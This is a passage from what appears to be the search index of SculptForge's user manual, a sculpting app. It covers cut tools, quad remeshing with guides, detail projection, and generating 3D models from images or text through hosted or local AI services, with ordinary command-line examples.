delete hidden are single undo steps on the active Part. They can use a lot of memory on dense meshes, and undo keeps a full copy of the previous mesh for each of them. Before a big change on a heavy sculpt: Snapshot (File > Save Snapshot) keeps a timestamped copy of the scene without touching your project file; see Projects. Duplicate the Part to keep the old version side by side."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"scripting","h":"Scripting","t":"Command Options subdivide levels 1-4 (default 1) remesh resolution 32-512 voxels across the longest side (default 200); keep_texture (default true) decimate ratio 0.01-1 of the triangles to keep (default 0.5), or triangles for an exact target qremesh target quads (default 5000), adaptive, keep_groups, detect_edges, use_polypaint, symmetry, keep_original, keep_texture; see Quad retopology close_holes max_edges closes only holes with at most that many boundary edges (default 0: all); refine (default true; false: as few triangles as possible); new_group (default true) mirror_and_weld axis x, y, z or several, e.g. xz (default x); side positive (default) or negative mirror axis (default x); pivot origin (default) or center export_lods path (base name), levels 1-8 including LOD0 (default 4), ratio 0.1-0.9 (default 0.5) sculptforge-cli -c 'open path=scan.obj; remesh resolution=256; decimate triangles=200000; export_lods path=out/rock.glb levels=4 ratio=0.5' The command line accepts a wider remesh range (32-512) than the palette slider."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"see-also","h":"See also","t":"Quad retopology and detail projection: Quad Remesh and Project All Parts: merge pieces before a remesh, duplicate before a decimate Sculpt layers and blend shapes Exporting: LOD chains, FBX for Unreal, Send to Unreal Image and text to 3D: generated models are voxel-remeshed for sculpting"},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"","h":"Cut: line, lasso, rectangle and polyline","t":"Cut cuts the active Part with a shape you draw on the screen. The shape is pushed straight into the view, so what you see inside it is what gets cut, front and back. Every cut is one undo step, and a closed Part stays closed (watertight), so you can keep sculpting, remeshing or 3D printing it."},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"pick-a-shape","h":"Pick a shape","t":"Hold Ctrl+Shift and click the brush tile on the shelf (or press B) to pick a Cut shape next to Select Rectangle and Select Lasso, or use the shape buttons at the top of Tool > Cut: Shape How to draw it Cut Line Ctrl+Shift+drag a straight line. The shaded side is cut; hold Alt as you let go to cut the other side. Cut Lasso Ctrl+Shift+drag a free-hand outline. Its inside is cut. A lasso that crosses itself keeps its biggest loop. Cut Rectangle Ctrl+Shift+drag a rectangle. Its inside is cut. Cut Polyline Ctrl+Shift+click point after point. Click the first point again to cut the polygon; double-click or press Enter to cut along the open, bent line (the shaded side; Alt for the other); Esc drops it. While a Cut shape is picked, Ctrl+Shift cuts instead of hiding; pick Select Rectangle or Select Lasso again to hide parts of the model."},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"pick-a-mode","h":"Pick a mode","t":"Tool > Cut has four modes: Mode What it does Away Removes everything the shape covers, through the whole Part, and closes the cut with a flat cap. A line slices the Part in two and keeps one side; a lasso or rectangle drawn inside the outline cuts a hole right through. In Cuts a flat-bottomed pocket where the shape covers the Part. Depth sets how deep, measured from the nearest point under the shape. Add Adds the shape, extruded towards you by Depth and joined to the Part (a boolean union): panels, ridges, buttons, sockets. Clip Removes nothing. A line presses its shaded side flat onto itself. A lasso, rectangle or closed polyline presses everything outside it onto its outline. Points keep their depth, so you get flat planes and clean silhouettes through the whole Part. The mask holds points back. Depth is a share of the Part's size (0.10 = a tenth of its largest side), so it means the same on a small or large model."},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"what-the-cut-keeps","h":"What the cut keeps","t":"The surface outside the cut is kept exactly, with its mask, vertex colours, UVs, face groups and sculpt layers; only the triangles the shape crosses are split. The cap (and the walls of a pocket or added shape) are a face group of their own, so you can select, mask or hide them in one click (Face Groups). The caps are flat with long triangles. To sculpt on them, give the Part even topology first: Tool > Remesh or Dynamic topology (Subdivide, remesh, decimate and LODs). Only the active Part is cut; the other Parts are untouched. Cut each Part on its own, or merge them first. With symmetry on (X, Y, Z or radial on the top shelf), the mirror image of the shape cuts too. An open Part (a plane, a scan with holes) is trimmed without a cap. Add needs a closed Part. Forge Spheres and Parts with a micro level must be made into a plain mesh first."},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"scripting","h":"Scripting","t":"The cut command takes the shape (line, lasso, rect, polyline), its points in normalised screen coordinates, the mode (away, in, add), depth, flip, closed and an optional view_proj matrix; see Scripting."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"","h":"Quad retopology and detail projection","t":"Quad Remesh rebuilds a sculpt as clean, all-quad topology whose edge loops follow the forms. Project All then moves a mesh onto the surface of other Parts, so the detail of the original sculpt comes back onto the new topology. Together they turn a dense, messy sculpt (a voxel remesh, a scan, an AI-generated model) into a light quad mesh you can divide, sculpt on, unwrap and animate. A lion bust after Quad Remesh: 5,000 quads whose loops follow the mane, shown with Wire"},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"the-usual-workflow","h":"The usual workflow","t":"Select the sculpt and open Tool > Remesh (the same Quad Remesh controls are also under Tool > Geometry). Under Quad Remesh, turn on Keep Original. Set Target Polygons (for example 5000) and click Quad Remesh. It runs in the background: a progress bar replaces the button, and Cancel stops it. The result replaces the Part, and the sculpt as it was is kept as a hidden Part called \"name Original\" right below it. Divide the new mesh two or three times (Tool > Geometry > Subdivide, Ctrl+D). Show the original again (the eye in Tool > Parts) and click Project All under Tool > Parts > Project. The divided quads snap onto the sculpt and take its vertex paint. Hide or delete the original. You now have the same sculpt on clean quads. Left: the retopology of a sculpted sphere. Right: divided twice and projected, the ridges and the crease are back Both steps are single undo steps (Ctrl+Z)."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"quad-remesh","h":"Quad Remesh","t":"Tool > Remesh > Quad Remesh (also under Tool > Geometry) works on the active Part. Control What it does Quad Remesh Starts the retopology. The status line reports the result and its quality, e.g. \"Quad Remesh: 5072 quads from 47214 triangles (100% quads) in 6.5 s. Quality: 260 poles (141 x3, 113 x5, 6 other), corners 8.5 deg off square, distance to the sculpt 0.106% mean / 1.27% max of its size\" Method Quad Remesh 2 (the default): the whole layout is solved at once as an integer grid, so poles appear only where the form needs them and loops run unbroken. Legacy: the method of SculptForge 0.9, kept for comparison and for closed guide loops Target Polygons About how many quads to make (100 to 200,000 on the slider, more from scripts). The result is usually within 5% of it Half / Same / Double Set the target to half, the same as or twice the Part's current polygon count Adaptive Size 0 makes quads all about the same size. Higher values make smaller quads where the surface curves and bigger ones on flat areas, for the same total Keep Groups Edge loops run exactly along the face group borders, and the result keeps the face groups Detect Edges Hard edges get an edge loop, so boxes and bevels stay crisp (on by default). Quad Remesh 2 takes faces meeting at more than about 60 degrees along a line at least a few quads long (a scan's or a sculpt's deep creases are left to the flow); the legacy method any edge over 50 degrees Use Vertex Paint Paint where you want density: red areas get up to four times the quads, blue areas down to a quarter, white areas are unchanged Symmetry Remesh one half and mirror it, welded on the seam, for exactly symmetric topology (on by default). It mirrors on the axis chosen in Sculpt > Symmetry & Gizmo (X if none), across the model's own middle plane: the world's centre plane when the model is symmetric about it, otherwise the plane through the model's middle, so a model moved away from the centre works too. A model that isn't mirror-symmetric is remeshed whole instead, and the status line says \"Symmetry off: the model isn't mirror-symmetric\"; one that is nearly symmetric (a bump on one side) gets mirrored topology that follows each side's own surface Keep Original Keep the Part as it was, hidden, below the new one, ready for Project All. Off: the Part is replaced (undo brings it back) Keep Masked Masked areas keep their triangles exactly, as a fixed piece: only the unmasked part is remeshed (the target counts its quads), and it's joined to the masked part along the mask's edge with a strip of triangles, so the model stays closed. If the mask's edge can't be joined up, the status line says so and nothing changes (off by default; qremesh keep_masked=true) Keep Texture Shown when the Part has a painted texture (on by default): Auto UV the result and project the texture onto it. Off: the texture is dropped Quad Remesh Guides Picks the guides brush: draw curves on the model for the edge loops to follow. See Quad Remesh Guides Delete Last / Clear Delete the last guide curve drawn (with its mirror copies), or all of them Curves Strength How far around each guide the edge flow follows it: 0 = only the loop on the curve, 100 = about six quads to each side (default 50) Quality Report Shown after a Quad Remesh of the active Part: the poles (vertices with other than four edges, by how many edges), how far quad corners are from square (mean and worst 1%), and how far the new surface is from the sculpt (mean and maximum, in % of its size) What happens to your data: The result is all quads (stored as pairs of triangles, so Wire draws quads and OBJ, FBX, PLY, USD and Bridge export them as quads), closed wherever the sculpt is closed. Open edges of the sculpt stay open, along the same outline. Sculpt layers are baked into the surface: the result has no layers. Mask and vertex paint are interpolated from the closest point of the sculpt (vertex paint is blurred to the new resolution until you project it back onto a divided co"},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"guiding-the-edge-flow","h":"Guiding the edge flow","t":"Quad Remesh Guides put an edge loop exactly where you draw: around the eyes, the mouth, a joint. See below. Face Groups are as strong a guide. Paint a group around an eye, the mouth or a muscle, turn on Keep Groups, and loops will circle it. See Face Groups. Vertex Paint sets the density with Use Vertex Paint: paint the face red and the back of the head blue to spend the quads where they matter. Adaptive Size around 0.5 gives detailed areas more quads without your help; use 0 for an even mesh, for example before more sculpting."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"how-it-works","h":"How it works","t":"Quad Remesh 2 builds the layout the way recent research quad remeshers do (integer-grid maps, as in Mixed-Integer Quadrangulation, Bommes, Zimmer and Kobbelt 2009, and Integer-Grid Maps for Reliable Quad Meshing, Bommes et al. 2013), in its own implementation: A working surface. The sculpt is brought to about three triangle edges per quad edge with even triangles (dense sculpts are first decimated in parallel blocks), keeping open edges, face group borders (Keep Groups) and real hard edges (Detect Edges; creases shorter than two quads or softer than about 55 degrees at the quad scale are sculpt detail, not hard edges) on their exact place. Curvature and directions. The principal curvature directions, smoothed over about one quad, and a smooth cross field (the directions the edges take) solved over the whole surface at once: it follows the curvature where the surface clearly bends one way (limbs, lips, brows, ridges), the feature lines exactly, and is as smooth as possible elsewhere. It is solved on a copy of the surface smoothed at the quad scale, so pores and scratches don't add poles. Vertex Paint density turns it the way a change of density needs. The grid. A seamless parametrization whose integer lines are the edge loops: feature lines and guides lie exactly on grid lines, singularities (the poles) exactly on grid points, and across the seams the grid only turns by quarter turns. Its integer unknowns are rounded nearest-first, each round followed by a re-solve. Extraction of that grid at the target density (not split from a coarser one), every face a quad; the rare places where the grid folds are repaired locally and stay all quads. Loop-aware relaxation: smoothing on the sculpt in which a vertex can slide along a loop that runs over a ridge but not off it, then projection onto the sculpt. With Symmetry one half is remeshed with the mirror plane as a feature line and mirrored, so the field and the result are exactly symmetric. The result is the same every time for the same settings. The lion scan at 5,000 quads. Left: the legacy method, 1,028 poles. Right: Quad Remesh 2, 199 poles, with loops along the mane and round the muzzle and a clean box on the base Compared with the legacy method on the same models and targets, Quad Remesh 2 has a quarter to a fiftieth of the poles at the same distance to the sculpt (poles, then the mean angle of quad corners off 90 degrees, then the mean distance in % of the model's size; legacy first): Model Target Poles Corners off square Distance Lion scan (47k triangles) 2,000 433 to 116 22.7° to 7.8° 0.295% to 0.290% 5,000 1,028 to 199 18.2° to 7.9° 0.125% to 0.120% 10,000 1,665 to 398 14.5° to 8.3° 0.059% to 0.060% ICT head (28k, symmetry) 2,000 269 to 91 12.6° to 8.9° 0.108% to 0.101% 5,000 511 to 114 8.8° to 8.0° 0.039% to 0.040% 10,000 727 to 214 6.6° to 7.7° 0.015% to 0.018% Creature from a sphere (82k, symmetry) 2,000 96 to 22 4.6° to 8.5° 0.035% to 0.037% 10,000 308 to 37 3.4° to 6.8° 0.007% to 0.007% Hard-surface part (3 boxes) 2,000 56 to 24 2.0° to 0.7° 0.082% to 0.000% 10,000 24 to 28 0.3° to 0.7° 0.000% to 0.000% Sculpted sphere (1.3M) 2,000 84 to 8 4.3° to 3.9° 0.037% to 0.035% 10,000 401 to 8 4.3° to 5.2° 0.008% to 0.007% On smooth sculpts with Adaptive Size the corners are a few degrees further from square than the legacy method's: the grid bends to vary the quad size instead of adding poles. Set Adaptive Size to 0 for the squarest grid. A 1.3-million-triangle sculpt takes about 4 seconds to 5,000 quads on a 10-core M1 Pro; denser sculpts are first decimated in parallel blocks to a working resolution: 5.2 million triangles take 7 to 9 seconds (1.3 GB at most) and 21 million about 20 seconds (4.7 GB), at 2,000 to 10,000 quads. The legacy method (Method > Legacy, method=legacy) is the Instant Meshes style field-aligned method of SculptForge 0.9 (Jakob, Tarini, Panozzo and Sorkine-Hornung, 2015): faster on small models but with many more poles, and its result is extracted at twice "},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"quad-remesh-guides","h":"Quad Remesh Guides","t":"Draw curves on the sculpt and Quad Remesh puts an edge loop along each one, and turns the flow around it to follow, like quad remesh Guides brush. With Quad Remesh 2 an open curve is an exact edge loop: the grid line lies on it. Closed loops (round an eye) and loops across the symmetry plane are, for now, done by the legacy method for that piece (the status line says so). Use them where the topology has to work for animation: rings around the eyes and the mouth, loops around the shoulders, elbows and knees, a line down the middle of a muscle. Left: Quad Remesh on its own. Middle: loops drawn round the eyes and the mouth with Quad Remesh Guides. Right: Quad Remesh again, with an edge loop on every curve and rings around them Click Quad Remesh Guides under Tool > Geometry > Quad Remesh (or pick it in the brush picker, B). The cursor becomes a small ring. Drag on the model to draw a curve. It is drawn on the surface and snapped to it. A curve that ends near where it started is closed into a loop: draw round an eye and let go where you began. With symmetry on (X in the top shelf), each curve is mirrored to the other side as you draw. A curve that is its own mirror image, a loop round the mouth across the middle, is kept once. Click Quad Remesh. The status line says how many guides it followed. Editing the curves: Alt+click a curve to delete it (it turns red under the cursor while Alt is held), with its mirror copy. Delete Last removes the last curve drawn; Clear removes them all. Ctrl still masks and Shift still smooths while the guides brush is picked, and dragging the background still turns the view. Pick any brush to sculpt again. The guides belong to the Part: each Part has its own, they are saved in the project, and Keep Original gives the kept original a copy, so you can change them and remesh again. They show over the model, solid while the guides brush is picked and thin otherwise, so you can see the loop Quad Remesh put on them. Drawing and deleting guides isn't part of undo (Ctrl+Z undoes your sculpting as before). Good to know: Quad Remesh snaps the guides onto the sculpt as it is when you run it, so sculpting after drawing them is fine. A guide left far from the surface, for example after moving the Part with the Gizmo, is ignored and the status line says so: draw it again. A loop gets an even number of quads around it, so it closes cleanly. Two guides closer together than about a quad compete for the same loop; draw them further apart or raise Target Polygons. A very small loop, about 25 quads round or fewer, may not close, and the edges just outside it bend to fit the extra quads the next ring needs: raise Target Polygons. Curves Strength doesn't change the loop on the curve, only how far around it the other edges turn to follow. Lower it when guides are close to each other or to the symmetry plane."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"how-the-guides-work","h":"How the guides work","t":"Each curve constrains Quad Remesh's cross field (the directions the edges take) to run along it, falling off over a few quads (Curves Strength), and adds a lattice line on the curve, so one edge loop lies on it. Along a closed curve the lattice corners are placed at even steps, an even number of them (a ring of quads round a disk always has an even number of sides), so the loop meets itself without a kink. With symmetry Quad Remesh remeshes one half, so a loop across the middle is cut there: its corners start on the seam, where it meets its mirror image. Quad Remesh then checks the loops and the quads near the guides; if a loop came out broken or a fan of seven or more edges sits by a guide, it tries again with a different start for the field and keeps the best. Measured on a sphere with a circular guide around an \"eye\", the edges near the curve are within about 2 to 8 degrees of its direction (about 22 degrees without the guide), and the loop closes."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"project-all","h":"Project All","t":"Tool > Parts > Project > Project All projects every other visible Part onto the active one. Each vertex looks along its normal, both ways, and moves to the nearest surface it finds within Dist; if there is none straight along the normal, it takes the closest point within Dist. Control What it does Project All Projects the visible Parts onto the active one (one undo step) Dist How far to search, as a fraction of the Part's size (bounding-box diagonal). Default 0.02. Raise it if parts don't pick up the detail; lower it where two surfaces are close together (lips, eyelids, fingers) PA Blur Smooths the projected result this many times, to soften noise from the source Mean Where there is surface on both sides of a vertex, settle halfway between them instead of on the nearest Geometry Project the shape (into the active sculpt layer, if you have layers) Vertex Paint Project the vertex paint (into the active paint layer) when a source has any The mask protects: fully masked vertices don't move; partly masked ones move part of the way. Mask the areas you have already fixed and project again with a different Dist. Hidden faces of the source are ignored, and hidden parts of the target don't move. Project All is fast enough to use on dense meshes: about 0.6 seconds to project 1.25 million vertices from a 1.3-million-triangle sculpt. Tip: Project after each division, not only at the end: divide once, Project All, divide again, Project All. Each pass starts closer to the sculpt, so a small Dist is enough and thin parts don't jump to the wrong surface."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"scripting","h":"Scripting","t":"Command Options qremesh method (v2, the default, or legacy), quality (report poles, corner angles and the distance to the sculpt, default true), target (16 to 2,000,000, default 5000), adaptive (0-1, default 0.5), keep_groups, detect_edges (default true), use_polypaint, symmetry (x, y or z; off by default in scripts; the mirror plane is found from the model), symmetry_center (use this plane instead, e.g. 0 for the world's centre), keep_original, smooth (relaxation passes, default 6), seed (legacy method only; Quad Remesh 2 has no random start), keep_texture (default true), guides (follow the Part's Quad Remesh Guides, default true), curves_strength (0-100, default 50) qremesh_guide points (the curve, \"x,y,z x,y,z ...\"), view (project the points onto the surface along this direction, as a stroke from the camera; default: each point to the closest surface point), symmetry (x, xz...; mirror the curve) qremesh_guide_delete_last, qremesh_guides_clear, qremesh_guides_info Delete the last curve, delete all, list them project_all distance (0.001-1, default 0.02), mean, blur (0-20), geometry (default true), polypaint (default true), source (one Part's name instead of all visible ones) sculptforge-cli -c 'open path=scan.glb; qremesh target=8000 adaptive=0.3 keep_original=true; subdivide levels=2; part_visibility index=1 visible=true; project_all distance=0.02; export_fbx path=retopo.fbx' sculptforge-cli -c 'open path=head.glb; qremesh_guide points=\"0.2,0.3,2 0.3,0.4,2 0.4,0.3,2 0.3,0.2,2 0.2,0.3,2\" view=0,0,-1 symmetry=x; qremesh target=4000 symmetry=x curves_strength=70' From scripts qremesh runs straight away (it doesn't return until it's done); in the app the button runs it in the background."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"see-also","h":"See also","t":"Subdivide, remesh, decimate and LODs: voxel remesh first to fuse pieces, subdivide after Quad Remesh Parts: show, hide and duplicate the original Face Groups and visibility: guides for Keep Groups Projects: Quad Remesh Guides are saved with each Part Texture painting: Auto UV on the new topology"},{"p":"generate-3d.html","c":"Image and text to 3D","a":"","h":"Image and text to 3D","t":"SculptForge can turn a picture or a written description into a full 3D model that you can sculpt straight away. This chapter covers the Generate 3D window, the services it can use (free Hugging Face models, your own ComfyUI server, paid fal.ai or Meshy, your own command line, or an offline blockout) and the offline image tools: relief, inflate and stamp. The Generate 3D window with a sketch loaded and the Hugging Face service selected"},{"p":"generate-3d.html","c":"Image and text to 3D","a":"how-it-works","h":"How it works","t":"You give SculptForge an image (a sketch, concept art, a photo of a figurine) or a short description. The service you picked reconstructs a complete mesh: front, back, limbs and all. SculptForge opens the result as a new scene and, unless you choose otherwise, Quad Remeshes it into clean quads with one subdivision level that holds the detail, ready to sculpt and subdivide. Nothing leaves your computer until you choose a hosted service and press Generate 3D model. For exactly what is sent where, see AI services and privacy below."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"open-the-generate-3d-window","h":"Open the Generate 3D window","t":"Any of these opens it: Drop an image file (PNG, JPG, BMP, TGA, PSD or GIF) onto the SculptForge window. The image is loaded as the picture for the From image tab and the window opens. Open Mesh > Generate 3D and click Generate 3D. Press F3, type generate and press Enter. The window has two tabs, From image and From text. Warning: A generated model replaces the current scene without asking, and arrives as a new, untitled scene. Save your work (Ctrl+S) before you generate."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"generate-from-an-image","h":"Generate from an image","t":"On the From image tab, click Choose image... (or drop a file onto the window). A preview and the image size appear. Pick a service in the drop-down under Full 3D model (AI reconstruction). The default is Hugging Face free models. Set the service's options (model, token or key, see below). Choose Remesh and its Resolution (96 to 400, default 256; higher keeps more detail): Quad Remesh (the default): clean, all-quad topology of about resolution² / 2 quads (32768 at 256), then one subdivision level projected onto the model so the detail survives. Generated meshes often have holes and overlapping pieces, so a voxel pass cleans the mesh up first. Step down to the quad cage with Shift+D. Voxel remesh: one even, watertight triangle surface. Faster (about a second). Off (raw mesh): the model exactly as the service made it. Click Generate 3D model. A progress bar shows the queue position and progress; Cancel stops the job. When it finishes, the status line reports the size before and after remeshing, for example \"Generated model imported (47214 tris, remeshed to 133540 quads (2 subdivision levels)) - ready to sculpt\". Quad Remesh takes about 10 to 25 seconds after the model arrives (a 47,000-triangle Hunyuan3D head took 22 s on a busy 10-core computer); the progress bar shows it and the window stays usable."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"pictures-that-work-well","h":"Pictures that work well","t":"One character or object per image. A plain or transparent background. SculptForge crops the subject out of a transparent background, centres it on a square and scales it to at most 1024 pixels before sending it. The whole subject in frame, seen from the front or a three-quarter view. A clean concept turnaround pose works better than a busy illustration with scenery."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"generate-from-text","h":"Generate from text","t":"On the From text tab, type one object into the box, for example \"a stylised dragon head with curled horns\" or \"a cartoon fox sitting\". Pick Hugging Face - free models, fal.ai, Meshy or ComfyUI - your server. Text to 3D does not work with My generator command or Offline blockout. Click Generate 3D model. Which model runs depends on the service: Service Text-to-3D model Hugging Face Hunyuan3D 2 mini Turbo (Tencent), or Hunyuan3D 2 if you chose it in Model. Any other choice uses Turbo fal.ai Hunyuan3D 3.1 Rapid (Tencent) Meshy Meshy's own text-to-3D model ComfyUI The text workflow you choose (the bundled text-to-3d uses FLUX.1 schnell and Hunyuan3D 2.1)"},{"p":"generate-3d.html","c":"Image and text to 3D","a":"services","h":"Services","t":"Service Cost and setup Good for Hugging Face - free models Free, no account. A free token raises the daily allowance Trying things out, personal work fal.ai - paid, your key Paid per generation, needs a fal.ai key Reliable capacity, newer models Meshy - paid, your key Paid, needs a Meshy key Meshy's own models ComfyUI - your server Free, runs on your own GPU or a studio server Privacy, custom workflows, studios My generator command Free, any program you run locally Your own model or a studio service Offline blockout (inflate silhouette) Free and instant, no network Simple shapes, a quick start"},{"p":"generate-3d.html","c":"Image and text to 3D","a":"hugging-face-free","h":"Hugging Face (free)","t":"This runs each model author's own public demo on Hugging Face's shared ZeroGPU hardware. Pick a Model: Model Notes Hunyuan3D 2.1 (Tencent) The default. Detailed shapes, about 20 seconds, no token needed TRELLIS.2 (Microsoft) Best detail, MIT licence. Needs a free Hugging Face token Hunyuan3D 2 mini Turbo (Tencent) The fastest, about 6 seconds Hunyuan3D 2 (Tencent) Stable Fast 3D (Stability AI) Quick and simple, removes the background itself If you never picked a model, SculptForge uses the default, so updates that change it reach you; a model you pick (and save) is kept. If you pick TRELLIS.2 without a token, Hunyuan3D 2.1 runs instead and the status line says \"TRELLIS.2 needs a free Hugging Face token (Edit > Preferences > AI); used Hunyuan3D 2.1 instead.\" The Hunyuan3D models' licence doesn't cover use in the European Union, the United Kingdom or South Korea. The first time a Hunyuan3D model runs, a notice says so, and it stays in the Model picker's tooltip. See AI services for each model's licence. GPU time is rationed per person per day, there can be a queue at busy times, and a demo can be paused or changed by its owner. To raise the allowance, create a free token with read access at huggingface.co/settings/tokens and paste it into HF token or Edit > Preferences > AI (or set the HF_TOKEN environment variable). When the allowance runs out you see \"Hugging Face's free GPU time is used up for now\"; add a token, wait for it to refill, or pick another model. Warning: The Hunyuan3D models are under the Tencent Hunyuan Community License, which does not cover use in the European Union, the United Kingdom or South Korea. If you work there, choose TRELLIS.2 (free token), Stable Fast 3D or a paid service. Each model has its own licence; read it before using results commercially."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"falai-and-meshy-paid","h":"fal.ai and Meshy (paid)","t":"fal.ai: choose a Model (TRELLIS.2, Hunyuan3D 3.1 Pro, Hunyuan3D 3.1 Rapid or Meshy 6) or type any fal model id into Model id. Paste your key from fal.ai/dashboard/keys into API key, or set FAL_KEY. Meshy: paste your key from meshy.ai (API settings) into API key, or set MESHY_API_KEY. Generations are billed to your account with that service. Errors such as \"The API key was rejected\", \"Out of credits on this account\" or \"Rate limited\" come from the service."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"comfyui-your-own-server","h":"ComfyUI (your own server)","t":"Runs any ComfyUI workflow on your own computer or a studio GPU server, with whatever models it has. Nothing is sent anywhere else. Start ComfyUI. It listens on http://127.0.0.1:8188 by default. If SculptForge runs on another computer, start ComfyUI with --listen (only on a network you trust: ComfyUI has no login). Install the models your workflow needs. The bundled Hunyuan3D 2.1 workflow needs hunyuan_3d_v2.1.safetensors in ComfyUI/models/checkpoints. In Generate 3D, pick ComfyUI - your server, enter the Server address and click Test connection. A good answer looks like \"Connected: ComfyUI 0.42.0 - NVIDIA GeForce RTX 4090 (24.0 GB)\". Choose a Workflow: a bundled one, or Other file (API format)... for your own. Click Generate 3D model. The progress bar shows your place in ComfyUI's queue. Bundled workflows: Workflow Tab Needs hunyuan3d-image-to-3d From image The Hunyuan3D 2.1 checkpoint (7.4 GB) and a GPU with about 10 GB of memory text-to-3d From text FLUX.1 schnell, BiRefNet and Hunyuan3D 2.1 (about 25 GB of downloads) and a GPU sculptforge-inflate From image The ComfyUI-SculptForge node pack; no GPU. A quick blockout to check your setup Your own workflows must be saved in ComfyUI's API format (in ComfyUI: Workflow > Export (API)). To tell SculptForge where the inputs go, give nodes these titles: Node title What SculptForge does sf_image Puts the uploaded picture into this Load Image node. Without one, the first Load Image node is used sf_prompt Puts your description into this node's text, prompt or string input. Without one, the first CLIP Text Encode not titled \"negative\" is used sf_seed Sets the seed. Inputs named seed or noise_seed get it too SculptForge imports the first mesh file the workflow saves (Save GLB, Preview 3D and most 3D node packs work). For error messages and their fixes, see Troubleshooting."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"my-generator-command","h":"My generator command","t":"Runs any command line on your computer: a local open-source model, a studio service, or a script that calls a cloud API. Type the command into the box. It must contain {input} (replaced with the image path) and {output} (replaced with the path to write, ending in .glb). Both are quoted for you, so don't add quotes. The command must write a GLB file to {output} and exit with status 0. The box starts with a command that runs SculptForge's own silhouette inflation, which is a quick way to check that the pipeline works: sculptforge-cli --set input={input} --set output={output} -c 'image_inflate path=$input subdivisions=2; export_glb path=$output' A wrapper for your own model can be as small as this: # my_generator.py {input} {output} import sys image_path, output_path = sys.argv[1], sys.argv[2] # load your model, run it on image_path, write a .glb to output_path Keep API keys in environment variables that your script reads, not in the command line."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"offline-blockout","h":"Offline blockout","t":"Offline blockout (inflate silhouette) inflates the outline of the picture into a rounded, closed mesh. It is instant and needs no network, but it is a puffy blockout, not a reconstruction: fine for simple shapes, not for characters."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"save-your-settings","h":"Save your settings","t":"Save settings (the small button under Generate 3D model) stores the service, model, keys, token, ComfyUI address and generator command in your ai.json settings file, so they are set the next time you start SculptForge. Keys in ai.json are readable only by your user account. See where settings live."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"quick-shapes-from-an-image-offline","h":"Quick shapes from an image (offline)","t":"The From image tab also has three offline tools under Quick shapes (offline). They need no network and run instantly. The same tools are in Mesh > Generate 3D as Relief, Inflate and Stamp. Tool What it makes Settings Silhouette blockout > Inflate A rounded, closed base mesh from the outline. Replaces the scene Thickness (0.2 to 2, lower is flatter), Detail (64 to 384) Relief > Make relief A height-field relief: light areas rise. For logos, coins, emblems, height maps and texture photos. Replaces the scene Depth (0.01 to 0.5 of the width), Detail (64 to 1024), Dark is high Stamp onto model > Stamp from this view Projects the image onto the current model from the current view as surface detail, into the active sculpt layer Depth (0.001 to 0.1 of the model size), Dark is high Tip: Stamp writes into the active sculpt layer, so add a layer first (Tool > Layers) if you want to dial the detail in and out afterwards. See Layers and blend shapes."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"after-generating","h":"After generating","t":"Generated meshes are a starting point. A typical next pass: Check the size of the remeshed result in the bar along the top (the triangle count). If the detail is too soft, divide once more (Ctrl+D), or generate again with a higher Resolution. Tool > Remesh has Quad Remesh (first) and Voxel Remesh for another pass. Turn on X symmetry if the subject is symmetrical, and sculpt the forms with Clay Block, Move and Sharp Crease (Sculpting and brushes). Save a project (Ctrl+S): generated scenes start untitled."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"from-scripts-and-agents","h":"From scripts and agents","t":"The same services are available as commands, in the console, sculptforge-cli, Python and MCP agents: # free, no token (Hunyuan3D 2.1 on Hugging Face, the default) sculptforge-cli -c 'image_to_3d path=hero.png; export_glb path=hero.glb' # TRELLIS.2, best detail, with a free Hugging Face token (without one, Hunyuan3D 2.1 runs and says so) HF_TOKEN=hf_... sculptforge-cli -c 'image_to_3d path=hero.png model=trellis-2; export_glb path=hero.glb' # voxel remesh instead of the default Quad Remesh sculptforge-cli -c 'image_to_3d path=hero.png remesh=voxel; export_glb path=hero.glb' # fal.ai, keeping the raw (not remeshed) result FAL_KEY=... sculptforge-cli -c 'image_to_3d path=hero.png service=fal model=fal-ai/trellis-2 remesh=false; export_glb path=hero.glb' # text to 3D on your own ComfyUI, repeatable with a seed sculptforge-cli -c 'text_to_3d prompt=\"a carved stone owl\" service=comfyui url=http://gpu-box:8188 seed=42; export_usd path=owl.usdz' # is the ComfyUI server up? sculptforge-cli -c 'comfyui_check' # offline tools sculptforge-cli -c 'image_relief path=logo.png depth=0.08; export_stl path=logo.stl' sculptforge-cli -c 'image_inflate path=sketch.png thickness=0.7; save_project path=blockout.sfproj' Command Key parameters image_to_3d path (required), service (huggingface, fal, meshy, comfyui, command, inflate), model, workflow, url, seed, remesh (quad, the default; voxel; false), resolution (64 to 512, default 256), levels (quad: 0 to 2 subdivision levels, default 1) text_to_3d prompt (required), service (huggingface, fal, meshy, comfyui), model, workflow, url, seed, remesh, resolution, levels image_relief path (required), depth (default 0.12), resolution (default 384), invert image_inflate path (required), thickness (default 1), resolution (default 160), subdivisions (default 1) image_project path (required), depth (default 0.03), invert. Projects from the front (+Z) comfyui_check url Without service=, commands use the settings you saved in the app. See Scripting and automation."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"privacy-and-model-licences","h":"Privacy and model 